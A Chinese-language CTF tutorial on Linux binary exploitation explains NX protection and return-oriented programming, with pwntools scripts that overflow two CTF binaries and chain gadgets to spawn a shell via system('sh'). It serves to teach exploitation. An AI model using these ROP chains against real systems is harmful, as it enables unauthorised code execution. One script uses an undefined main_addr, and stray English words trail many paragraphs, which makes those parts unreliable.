CTF必備技能丨Linux Pwn入門教程——ROP技術(上)

Linux Pwn入門教程系列分享如約而至,本套課程是做者依據i春秋Pwn入門課程中的技術分類,並結合近幾年賽事中出現的題目和文章整理出一份相對完整的Linux Pwn教程。html

教程僅針對i386/amd64下的Linux Pwn常見的Pwn手法,如棧,堆,整數溢出,格式化字符串,條件競爭等進行介紹,全部環境都會封裝在Docker鏡像當中,並提供調試用的教學程序,來自歷年賽事的原題和帶有註釋的python腳本。python

課程回顧>>linux

Linux Pwn入門教程第一章:環境配置git

Linux Pwn入門教程第二章:棧溢出基礎github

Linux Pwn入門教程第三章:ShellCodeshell

 

教程中的題目和腳本如有使用不妥之處,歡迎各位大佬批評指正。編程

基於前面幾期的內容分享,小夥伴在後臺給出了不少好評,同時也提出了文章篇幅縮短的建議,經調整後第四章內容分爲上下兩篇,今天分享的是Linux Pwn入門教程:ROP技術(上),閱讀用時約10分鐘。安全

背景函數

在上一篇教程的《shellcode的變形》一節中,咱們提到過內存頁的RWX三種屬性。顯然,若是某一頁內存沒有可寫(W)屬性,咱們就沒法向裏面寫入代碼,若是沒有可執行(X)屬性,寫入到內存頁中的ShellCode就沒法執行。工具

關於這個特性的實驗在此不作展開,你們能夠嘗試在調試時修改EIP和read( )/scanf( )/gets( )等函數的參數來觀察操做無對應屬性內存的結果。那麼咱們怎麼看某個ELF文件中是否有RWX內存頁呢?首先咱們能夠在靜態分析和調試中使用IDA的快捷鍵Ctrl + S

 

 

或者同上一篇教程中的方法,使用Pwntools自帶的checksec命令檢查程序是否帶有RWX段。固然,因爲程序可能在運行中調用mprotect( ), mmap( )等函數動態修改或分配具備RWX屬性的內存頁,以上方法都可能存在偏差。

既然攻擊者們能想到在RWX段內存頁中寫入ShellCode並執行,防護者們也能想到,所以,一種名爲NX位(No eXecute bit)的技術出現了。這是一種在CPU上實現的安全技術,這個位將內存頁以數據和指令兩種方式進行了分類。被標記爲數據頁的內存頁(如棧和堆)上的數據沒法被當成指令執行,即沒有X屬性。因爲該保護方式的使用,以前直接向內存中寫入ShellCode執行的方式顯然失去了做用。所以,咱們就須要學習一種著名的繞過技術——ROP(Return-Oriented Programming, 返回導向編程)

顧名思義,ROP就是使用返回指令ret鏈接代碼的一種技術(同理還可使用jmp系列指令和call指令,有時候也會對應地成爲JOP/COP)。一個程序中必然會存在函數,而有函數就會有ret指令。咱們知道,ret指令的本質是pop eip,即把當前棧頂的內容做爲內存地址進行跳轉。

而ROP就是利用棧溢出在棧上佈置一系列內存地址,每一個內存地址對應一個gadget,即以ret/jmp/call等指令結尾的一小段彙編指令,經過一個接一個的跳轉執行某個功能。因爲這些彙編指令原本就存在於指令區,確定能夠執行,而咱們在棧上寫入的只是內存地址,屬於數據,因此這種方式能夠有效繞過NX保護。

使用ROP調用got表中函數

首先咱們來看一個x86下的簡單ROP,咱們將經過這裏例子演示如何調用一個存在於got表中的函數並控制其參數。咱們打開~/RedHat 2017-pwn1/pwn1。能夠很明顯看到main函數存在棧溢出:

變量v1的首地址在bp-28h處,即變量在棧上,而輸入使用的__isoc99_scanf不限制長度,所以咱們的過長輸入將會形成棧溢出。

 

程序開啓了NX保護,因此顯然咱們不可能用shellcode打開一個shell。根據以前文章的思路,咱們很容易想到要調用system函數執行system(「/bin/sh」)。那麼咱們從哪裏能夠找到system和「/bin/sh」呢?

第一個問題,咱們知道使用動態連接的程序導入庫函數的話,咱們能夠在GOT表和PLT表中找到函數對應的項(稍後的文章中咱們將詳細解釋)。跳轉到.got.plt段,咱們發現程序裏竟然導入了system函數。

 

解決了第一個問題以後咱們就須要考慮第二個問題。經過對程序的搜索咱們沒有發現字符串「/bin/sh」,可是程序裏有__isoc99_scanf,咱們能夠調用這個函數來讀取「/bin/sh」字符串到進程內存中。下面咱們來開始構建ROP鏈。

首先咱們考慮一下「/bin/sh」字符串應該放哪。經過調試時按Ctrl+S快捷鍵查看程序的內存分段,咱們看到0x0804a030開始有個可讀可寫的大於8字節的地址,且該地址不受ASLR影響,咱們能夠考慮把字符串讀到這裏。

 

 

接下來咱們找到__isoc99_scanf的另外一個參數「%s」,位於0x08048629

 

 

接着咱們使用pwntools的功能獲取到__isoc99_scanf在PLT表中的地址,PLT表中有一段stub代碼,將EIP劫持到某個函數的PLT表項中咱們能夠直接調用該函數。咱們知道,對於x86的應用程序來講,其參數從右往左入棧。所以,如今咱們就能夠構建出一個ROP鏈。

`from pwn import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf'])
format_s = p32(0x08048629)
binsh_addr = p32(0x0804a030)
shellcode1 = 'A'*0x34
shellcode1 += scanf_addr
shellcode1 += format_s
shellcode1 += binsh_addr
print io.read( )
io.sendline(shellcode1)
io.sendline(「/bin/sh」)

經過調試咱們能夠看到,當EIP指向retn時,棧上的數據和咱們的預想同樣,棧頂是plt表中__isoc99_scanf的首地址,緊接着是兩個參數。咱們繼續跟進執行,在libc中執行一下子以後,咱們收到了一個錯誤,這是爲何呢?

咱們回顧一下以前的內容。咱們知道call指令會將call指令的下一條指令地址壓入棧中,當被call調用的函數運行結束後,ret指令就會取出被call指令壓入棧中的地址傳輸給EIP。

可是在這裏咱們繞過call直接調用了__isoc99_scanf,沒有像call指令同樣向棧壓入一個地址。此時函數認爲返回地址是緊接着scanf_addr的format_s,而第一個參數就變成了binsh_addr`

call調用函數的狀況

08048557 mov [esp+4], eax
0804855B mov dword ptr [esp], offset unk_8048629 
08048562 call ___isoc99_scanf 
08048567 lea eax, [esp+18h]

 

08048580 leave
08048581 retn ; pop eip
F7E22610 __isoc99_scanf:
F7E22610 push ebp
F7E22611 mov ebp, esp

從兩種調用方式的比較上咱們能夠看到,因爲少了call指令的壓棧操做,若是咱們在佈置棧的時候不模擬出一個壓入棧中的地址,被調用函數的取到的參數就是錯位的。因此咱們須要改良一下ROP鏈。根據上面的描述,咱們應該在參數和保存的EIP中間放置一個執行完的返回地址。鑑於咱們調用scanf讀取字符串後還要調用system函數,咱們讓__isoc99_scanf執行完後再次返回到main函數開頭,以便於再執行一次棧溢出。改良後的ROP鏈以下:

from pwn import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf']) 
format_s = p32(0x08048629) 
binsh_addr = p32(0x0804a030)
shellcode1 = 'A'*0x34 
shellcode1 += scanf_addr
shellcode1 += main_addr
shellcode1 += format_s
shellcode1 += binsh_addr
print io.read()
io.sendline(shellcode1)
io.sendline(「/bin/sh」)

咱們再次進行調試,發現這回成功調用__isoc99_scanf把「/bin/sh」字符串讀取到地址0x0804a030處:

 

 

此時程序再次從main函數開始執行。因爲棧的狀態發生了改變,咱們須要從新計算溢出的字節數。而後再次利用ROP鏈調用system執行system(「/bin/sh」),這個ROP鏈能夠模仿上一個寫出來,完整的腳本也能夠在對應文件夾中找到,此處再也不贅述。

接下來讓咱們來看看64位下如何使用ROP調用got表中的函數。咱們打開文件~/bugs bunny ctf 2017-pwn150/pwn150,很容易就能夠發現溢出出如今Hello( )裏

和上一個例子同樣,因爲程序開啓了NX保護,咱們必須找到system函數和「/bin/sh」字符串。程序在main函數中調用了本身定義的一個叫today的函數,執行了system(「/bin/date」),那麼system函數就有了。至於「/bin/sh」字符串,雖然程序中沒有,可是咱們找到了「sh」字符串,利用這個字符串其實也能夠開shell。

如今咱們有了棧溢出點,有了system函數,有了字符串「sh」,能夠嘗試開shell了。首先咱們要解決傳參數的問題。和x86不一樣,在x64下一般參數從左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出來的參數纔會入棧(根據調用約定的方式可能有不一樣,一般是這樣),所以,咱們就須要一個給RDI賦值的辦法。因爲咱們能夠控制棧,根據ROP的思想,咱們須要找到的就是pop rdi; ret,前半段用於賦值rdi,後半段用於跳到其餘代碼片斷。

有不少工具能夠幫咱們找到ROP gadget,例如Pwntools自帶的ROP類,ROPgadget、rp++、ropeme等。在這裏我使用的是ROPgadget(https://github.com/JonathanSalwan/ROPgadget)

經過ROPgadget --binary 指定二進制文件,使用grep在輸出的全部gadgets中尋找須要的片斷。

 

這裏有一個小trick。首先,咱們看一下IDA中這個地址的內容。

 

 

咱們能夠發現並無0x400883這個地址,0x400882是pop r15, 接下來就是0x400884的retn,那麼這個pop rdi會不會是由於ROPgadget出bug了呢?別急,咱們選擇0x400882,按快捷鍵D轉換成數據。

 

而後選擇0x400883按C轉換成代碼

 

咱們能夠看出來pop rdi其實是pop r15的「一部分」。這也再次驗證了彙編指令不過是一串可被解析爲合法opcode的數據的別名。只要對應的數據所在內存可執行,能被轉成合法的opcode,跳轉過去都是不會有問題的。

如今咱們已經準備好了全部東西,能夠開始構建ROP鏈了。這回咱們直接調用call system指令,省去了手動往棧上補返回地址的環節,腳本以下:

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
call_system = 0x40075f #call system指令在內存中的位置
binsh = 0x4003ef #字符串"sh"在內存中的位置
pop_rdi = 0x400883 #pop rdi; retn
payload = ""
payload += "A"*88 #padding
payload += p64(pop_rdi) 
payload += p64(binsh) #rdi指向字符串"sh"
payload += p64(call_system) #調用system執行system("sh")
io.sendline(payload)
io.interactive()

進行調試,發現開shell成功。

 

retn跳轉到0x400883處的gadget:pop rdi; ret

pop rdi將「sh」字符串所在地址0x4003ef賦值給rdi

 

retn跳轉到call system處。

以上是今天的內容,你們看懂了嗎?後面咱們將持續更新Linux Pwn入門教程的相關章節,但願你們及時關注。

相關文章
相關標籤/搜索